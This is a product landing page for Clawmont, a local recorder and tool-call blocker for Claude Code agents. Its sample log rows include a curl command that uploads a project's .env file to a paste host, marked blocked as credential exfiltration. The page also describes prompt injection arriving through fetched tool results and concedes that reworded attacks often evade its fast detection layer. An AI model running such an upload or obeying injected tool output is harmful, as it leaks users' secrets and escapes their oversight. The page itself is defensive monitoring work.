Record
Every call becomes evidence
Allowed or denied, each tool call becomes a hash-chained row on your own disk.
Know what your agent did.
Clawmont records every Claude Code tool call locally, surfaces what mattered, and can stop a short list before it runs.
- 0109:14:02
cat packages/api/.envallowed - 0209:14:07
grep PORT packages/api/.envallowed - 0309:14:19
curl -F env=@packages/api/.env https://paste.exampleblockedcredential exfiltration
Illustrative rows. Hash chained, tamper evident, on your disk.
RecordEvery call becomes evidence
ReadThe important few rise up
RefuseOne boundary can say no
One trail. Three jobs.
Record every call. Read only what matters. Refuse selected calls at the one boundary that can deny.
Read
The important few rise up
The paid digest turns the trail into the moments worth opening.
Refuse
One boundary can say no
Opt in after you know your traffic. Only the tool-call boundary can deny.
| Tool calls recorded | every one | Allowed and denied alike. One hash-chained row each. |
|---|---|---|
| Boundaries inspected | 3 | Prompt, tool call and tool result, on the Claude Code path. |
| Boundaries that can deny | 1 | The tool call, judged before the command runs. |
| Where the trail lives | your disk | A file you own, not an account you rent. |
| How it starts | monitor | Nothing is refused until you turn the brake on. |
What is Clawmont? Definition, measurement and research
Clawmont is a local first flight recorder for Claude Code. It records every tool call to a hash-chained log on your own disk, inspects three conversation boundaries, and can deny at the tool-call boundary before the command runs. Your API keys never leave your machine.
We publish the detection rate, novel-attack rate, false-positive rate, corpus and measurement date, including results that got worse. Read the measured methodology on the security page.
Three checkpoints. One brake.
The trail follows the agent loop. Only the tool-call checkpoint can refuse a call.
Checkpoint 01 · Prompt
Your prompt, before it reaches the model
Pasted credential material is stopped here. Injection signals raise context the model reads rather than a block, so treat this boundary as a recorder with one exception.
Checkpoint 02 · Tool call
The tool call, before it runs
Shell commands, file paths, outbound URLs and MCP arguments are judged at dispatch time, by what the call would do rather than what it looks like. This is the one boundary that can deny.
the only boundary that can refuse a call
Checkpoint 03 · Tool result
What comes back, before the model reads it
A fetched page, an MCP response or a command output can carry fresh instructions. Clawmont screens returned content and flags it. It does not replace it.
Checkpoint 04 · Output
The answer rendered to younot registered
Claude Code exposes an output rail and the installer deliberately leaves it off. The credential check behind it still reads ordinary file paths, API routes and environment-variable names as secrets. It ships when that is fixed and re-measured, not before.
Keys stay local
Validated on device, never proxied or logged by Clawmont.
The trail proves itself
Editing one row breaks the hash chain and verify names the break.
Offline stays normal
No network call sits on the local decision path.
The prompt was the review. Now it is off by default.
On 14 August 2026 auto mode became the default for new Claude Code sessions on Pro, Max and Team plans. A classifier now clears routine tool calls instead of you, and the reason the vendor gives for the change is approval fatigue.
The decision
Starting August 14, 2026, auto mode becomes the default permission mode for new sessions on Pro, Max, and Team plans.
The reason
Over time that leads to approval fatigue, where people stop paying close attention to what they're approving.
Clawmont does not put the prompt back. It writes down what the agent actually did, in order, so a decision nobody reviewed is still a decision you can read.
Rewind has a boundary. The trail keeps going.
Bash and manual edits sit outside Claude Code rewind. Clawmont records those calls before you need the answer.
Rewinding does not affect files edited manually or via bash.
- 01 · Today
Record every call
Bash and manual edits sit outside rewind. They are already in the trail before you need them.
shipped - 02 · Opt-in
Deny a short list
Turn the tool-call brake on once you have read a week of your own traffic. It starts off.
opt-in - 03 · Next
Checkpoint and undo
Restoring the state a call changed. On the roadmap, not in the product, not in the price.
not built yet
Run a real decision.
Pick an input. Watch the local decision layer mark it before the model sees it.
Reworded injection
Paraphrase the attack however you like — dropping or swapping a word won't help. The engine scores malicious intent, not keywords.
attacker > payload
Ready
Pick a scenario or type your own payload.
Port 1
Input
Port 2
Tool call
Port 3
Tool result
Port 4
Output
Intent — —
No banned phrase appears — this is scored on intent, so dropping or swapping a word doesn't get it past the layer.
Scan detail will appear here.
Fast layer clean — honestly.
Novel plain-English attacks like this are in the ~two-thirds the deterministic layer misses.
The installed product escalates cases like this to a cost-gated LLM-judge that this preview doesn't run.
That's real security, not theater.
Measured false-positive rate, published · Strong on known attacks · Lower on novel attacks
This preview runs a deterministic subset of the engine in your browser. Installed, it adds stateful tracking across a whole session, the full bypass-tested corpus, a cost-gated judge for the ambiguous cases this preview does not run, and a hash-chained log on your own disk. Some attacks get through here; that's honest security, not theater. Exact measured rates and methodology at the security page and security.clawmont.com.
The failure is usually quiet.
No attacker story required. The useful moment is often after the agent has already moved on.
It ran without you
You let it work for an hour and came back
The repo changed. The first useful question is simple: what did it touch?
The one you cannot take back
One command can be hard to undo
Most calls are harmless. The destructive one needs a decision before it runs.
A week later
You find it long after it happened
Only a record that already exists can answer when it happened and how.
Claude Code is live. The rest are not claims.
An adapter counts only after a real session and a real attack are watched end to end.
Coverage follows proof.
Claude Code is the verified lane today. Every other adapter stays visible, but not marketed, until its evidence clears the same standard.
Verified
Covered todayDriven against a real session with a real attack, watched to a stop. This is the only state we sell, and today exactly one tool is in it.
- Claude Code
Prompt, tool call and tool result inspected on your machine; the tool call is the boundary that can deny. Ships with a check that proves the hook is actually running.
In live-fire
Not marketed yetThe adapter is built and tested against the tool’s own schema, and no live session has been driven through it yet. We do not list these as supported, because they are not.
- CursorSee the evidence table
- Codex CLISee the evidence table
- ClineSee the evidence table
- Devin CLISee the evidence table
- AiderSee the evidence table
Blocked upstream
Not marketed yetThe integration cannot work until the tool changes something on its side. Named here so you can stop looking for it.
- Continue.devSee the evidence table
See every adapter and why it is not marketed yet
| Agent | State | What that means here |
|---|---|---|
| Claude Code | Verified | Prompt, tool call and tool result inspected on your machine; the tool call is the boundary that can deny. Ships with a check that proves the hook is actually running. |
| Cursor | In live-fire | The richest surface we have adapted, and the one with a trap: Cursor tries to run your Claude Code hooks and mostly fails at it, silently. Built, covered by a dialect test, not yet live-fired. |
| Codex CLI | In live-fire | Adapter and liveness check written. Codex will load a hook and decline to run it without a word, so this one does not ship as supported until a live run says otherwise. |
| Cline | In live-fire | Built against Cline’s own executor. A deny here ends the whole task rather than one call, so our false-positive measurements do not transfer and neither does the claim. |
| Devin CLI | In live-fire | Adapter emits the exit code Devin actually blocks on. What is left is the live run. (Windsurf / Cascade is a separate, end-of-life product — not this row.) |
| Aider | In live-fire | Aider publishes no hook system at all. Interception exists only by wrapping a private internal with no stability contract, so a rename in any release would disarm it. Treat it as unsupported. |
| Continue.dev | Blocked upstream | The hook engine is present in the shipped build and never fires. Nothing we write makes it run; this waits on Continue. |
- Verified
- Driven against a real session with a real attack, watched to a stop. This is the only state we sell, and today exactly one tool is in it.
- In live-fire
- The adapter is built and tested against the tool’s own schema, and no live session has been driven through it yet. We do not list these as supported, because they are not.
- Blocked upstream
- The integration cannot work until the tool changes something on its side. Named here so you can stop looking for it.
Using OpenClaw? Its plugin inspects a fourth boundary. See OpenClaw security.
The record is free. The answer is paid.
Seven days to judge it against your own traffic. Zero due today.
Clawmont Free
Freethe record
The full record of what your agent did, hash-chained on your own disk, with a receipt at the end of every run. No card, no expiry, and no detection held back.
Start recording freeNo card, and nothing to cancel.TrailEvery tool call, hash-chained on your disk.
ReceiptWhat it touched and changed, every run.
Reportaudit.html opens the record in a browser.
What the free record includes, and what it will not do
- Every tool call your agent makes, recorded to a hash-chained log on your disk. Edit one line and the chain breaks.
- A receipt at the end of every run: what it touched, what it changed, what was flagged.
- audit.html beside the trail, so the record opens in a browser instead of a text editor.
- The same detectors as the paid plan. We do not hold back detection to sell an upgrade.
- Nothing leaves your machine, so your keys cannot either.
What it does not do
- It records; it does not read the record for you. No digest, no cross-project summary.
- It keeps the trail on the machine that made it. Nothing is stored off-machine, and nothing is delivered to you.
Clawmont Security
$19.99/month standalone
Or $9.99/month with an OpenClaw setup purchase.
$0 today. Cancel in the trial and pay nothing.DigestThe important few, including quiet days.
RetentionA hosted trail that outlives the laptop.
BrakesOpt-in denial at the tool-call boundary.
Everything included today
- A deny at the tool-call boundary, before the command runs. It is off until you turn it on.
- Today that denies things like a recursive delete outside a build directory, a private key read, and your .env going out over the wire.
- A digest that arrives on the quiet days too, not only when something happened.
What is explicitly not built yet
- Your agent just rewrote 12 files — one command to put them back. Checkpoint and undo, scoped to a single run: it restores the files that run changed, and it does not pretend to reverse an install or a network call. Not built yet.
- Alerts off the machine, to Slack, Discord, Telegram or email. Not built yet.
- A searchable audit trail we host, so the record outlives the laptop that wrote it. Not built yet — today the record is local only, and that is the whole of it.
- Brakes on the rest of the irreversible list: a force-push, a reset --hard with work in the tree, a secret going into a commit. We probed our own build on 2026-08-12 and it allows all three today, even with enforcement on. That is the next thing we are fixing, and we would rather you read it here than find out later.
Looking for a configured OpenClaw setup instead? See setup products.
Your keys never leave your machine
API keys are entered in your terminal during install and stored in your OS keychain. The browser never sees them.
No access to your code
Detection runs locally, inside the agent you already run. No repo access, nothing to grant.
No code stored on our servers
Optional cloud alerts send short, redacted alert metadata. Your codebase stays with you.
Licensed under BUSL-1.1 — not open source. The install script is published in full at clawmont.com/install.sh; read it before you run it.
Let your own trail decide.
Run it for a week. Read the receipt. Turn on brakes only if your traffic justifies them.